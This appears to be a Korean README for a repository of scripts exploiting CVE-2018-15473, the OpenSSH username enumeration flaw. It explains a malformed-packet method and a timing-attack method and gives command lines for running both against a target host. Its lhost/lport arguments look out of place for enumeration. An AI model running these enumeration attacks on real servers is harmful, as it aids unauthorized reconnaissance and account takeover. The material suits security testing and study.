CVE-2018-15473: OpenSSH 사용자 이름 열거

OpenSSH 7.7까지는 원격 공격자가 잘못된 인증 요청을 보내고 서버 응답의 차이를 관찰하여 유효한 사용자 이름을 열거할 수 있습니다.

세부 정보

스크립트

exploit.py — 잘못된 패킷 (빠름, 멀티스레드)

잘린 SSH_MSG_USERAUTH_REQUEST (부울 필드 제거됨)를 전송합니다. 유효하지 않은 사용자는 조기 종료(USERAUTH_FAILURE)를 트리거하고, 유효한 사용자는 서버 연결을 끊습니다.

exploit_timing.py — 타이밍 공격 (느림, 패치된 서버에서 작동)

암호 인증을 통해 매우 긴 암호(~100KB)를 전송합니다. 유효한 사용자는 서버가 암호를 해싱한 후 거부하기 때문에 시간이 더 오래 걸리며, 유효하지 않은 사용자는 즉시 거부됩니다. 순차적으로 실행되며 임계값을 자동으로 보정합니다.

exploit.py가 오탐(false positive)을 반환할 때(패치된 서버) 사용하세요.

빠른 시작

git clone <this-repo-url>
cd cve-2018-15473

pip install -r requirements.txt

# Malformed packet (try this first)
python3 exploit.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit.py <target_ip> 22 <lhost> <lport> -w usernames.txt -t 8

# Timing attack (fallback for patched servers)
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -w usernames.txt

인수 (두 스크립트 모두)

참고 자료

• https://nvd.nist.gov/vuln/detail/CVE-2018-15473
• https://www.exploit-db.com/exploits/45233
• https://github.com/epi052/cve-2018-15473
• https://github.com/Rhynorater/CVE-2018-15473-Exploit